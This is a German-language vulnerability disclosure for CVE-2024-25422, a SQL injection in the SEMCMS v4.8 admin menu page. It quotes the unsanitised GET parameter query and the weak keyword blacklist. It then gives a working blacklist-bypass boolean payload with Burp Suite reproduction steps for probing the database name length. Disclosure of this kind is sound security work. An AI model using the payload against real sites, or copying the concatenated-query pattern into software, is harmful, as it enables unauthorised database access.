
semcms weist eine SQL-Injection auf (CVE-2024-25422)
Einführung in Semcms
SEMCMS ist ein Content-Management-System (CMS) für Außenhandels-Websites, das mehrere Sprachen unterstützt.
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip
Ursachen der Schwachstellen:
/xcR45q_Admin/SEMCMS_Menu.php Zeile 66
Schwachstellencode:
<?php
} elseif ($type == "edit") {
$row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
?>
Es ist ersichtlich, dass die ID hier eine SQL-Anweisung ausführt, wenn Parameter über GET übergeben werden
Filtercode in /Include/contorl. PHP
Zeile 151
function test_input($data) {
//$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,*ENT_QUOTES*);
return $data;
}
Und die 8. Zeile
function inject_check_sql($sql_str) {
return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
Durch das Filtern des obigen Inhalts können wir ein Payload konstruieren
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
Reproduktion der Schwachstellen
Rufen Sie eine Website auf
http://url/xcR45q_Admin/SEMCMS_Menu.php
Brupsuite-Paketerfassung, da die Länge des Datenbanknamens beim Erstellen einer neuen Site 5 beträgt, wird das Payload wie folgt konstruiert
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
(Bestimmen, ob die Länge des Datenbanknamens 5 ist)
Payload einfügen, um Echo anzuzeigen

Ändern Sie nun das Payload
-1%20or%20length(database())%20REGEXP%20char(94,54,36)
(Bestimmen, ob die Länge des Datenbanknamens 6 ist)
Ändern Sie nun das Payload

SQL-Injection kann basierend auf zukünftigen Änderungen auf der Seite fortgesetzt werden